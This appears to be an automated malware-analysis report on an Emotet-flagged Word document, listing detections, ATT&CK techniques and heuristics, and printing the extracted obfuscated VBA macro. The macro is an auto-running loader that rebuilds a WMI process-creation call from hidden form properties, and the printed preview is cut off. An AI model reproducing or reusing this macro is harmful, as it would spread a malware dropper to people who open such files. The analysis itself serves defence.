MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are characteristic of Emotet. The ClamAV detection explicitly names Emotet. The VBA code appears to be obfuscated but uses CreateObject and string manipulation to likely download and execute a secondary payload.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9310539-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9310539-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4276 bytes |
SHA-256: abf054cca5ae31253b0dda77dbc37f62356388137c06d62a2c89cc85eca76bad |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "NUVQJteektco"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
DFOJKmylyhrqm.FVKHHorjedce
End Sub
Attribute VB_Name = "DFOJKmylyhrqm"
Attribute VB_Base = "0{55BE55B5-7D79-4673-9AAC-BE71F659470C}{DCD74B61-56A1-4EC9-83B8-BD091D14A929}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FVKHHorjedce()
MSVBJofwpxkywasb = DFOJKmylyhrqm.Zoom
Dim EWtaT3ÄEfeU As Integer
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
CSQSYgojtcqjg = ChrW(MSVBJofwpxkywasb + (100 + 35) / 9)
Dim WHEWC0ÅGtsV As String
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
NUBYUhzblvvwmpllhyu = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + CSQSYgojtcqjg + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + DFOJKmylyhrqm.GJBUCktvpddi + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
Dim Xw3Î8ÍKy1Ñw As Byte
SBOSBiwuxrhohfre = PFOYHkqfwgjptxrixs(NUBYUhzblvvwmpllhyu)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set XTSKDbeufyqf = CreateObject(SBOSBiwuxrhohfre)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
MIGUBojcxughcnyvlj = DFOJKmylyhrqm.SLHXGtrgizvoyjadvwf.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
ERSWZczzubvvcfrmmfh = XRUXCrmnyitduztwt + (SBOSBiwuxrhohfre + CSQSYgojtcqjg + DFOJKmylyhrqm.UCOXVgmnnffkgjkl.ControlTipText + MIGUBojcxughcnyvlj)
Dim gs2ËgnTcKiQ As String
UAVDNsjtselx = ERSWZczzubvvcfrmmfh + DFOJKmylyhrqm.GJBUCktvpddi
Dim N0ÚPb8Ì As Double
Set KNHTOvtdbpqszivcym = YENHIcncqsal(UAVDNsjtselx)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
IKOQRmbmufubc = Array(JOFPUeiplvdd + "IUMVSryxjehzivpxgs GSUGTdbpxszsmostsi BJDDAjypmissedh", XTSKDbeufyqf. _
Create(YTWOGvcbnsfrfhr, BOOSRrbbfjmukpcwpvr, KNHTOvtdbpqszivcym), COUWVophfaupfrr + "EPTKIcyqxeexg DILUUmurwdbuweowot")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function YENHIcncqsal(HQBXUnbowbceyaf)
Set YENHIcncqsal = CreateObject(HQBXUnbowbceyaf)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
YENHIcncqsal. _
showwindow = XSZCGezqdyrjsaixldl + EKMTPiogtbaplyjddgf
Dim a4Õg As Object
End Function
Function PFOYHkqfwgjptxrixs(CZOCKzhftuiyq)
VDJGBjtlazexrutsvg = CZOCKzhftuiyq
Dim nGcyUDpZ As Byte
PSXOLolcdkdjbiggets = Split _
(VDJGBjtlazexrutsvg, "832[sahj hui12t7gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
MWXVExjpnfafmapemzv = VWQTFtjtngctdvum + Join(PSXOLolcdkdjbiggets, GMYQSwbybxtrft)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
PFOYHkqfwgjptxrixs = MWXVExjpnfafmapemzv
Dim kFPSyh As Object
End Function
Function YTWOGvcbnsfrfhr()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
FXNVUgexyjzwloryy = DFOJKmylyhrqm.SZWIZpizhzxe.Pages(vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
YTWOGvcbnsfrfhr = PFOYHkqfwgjptxrixs(FXNV
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.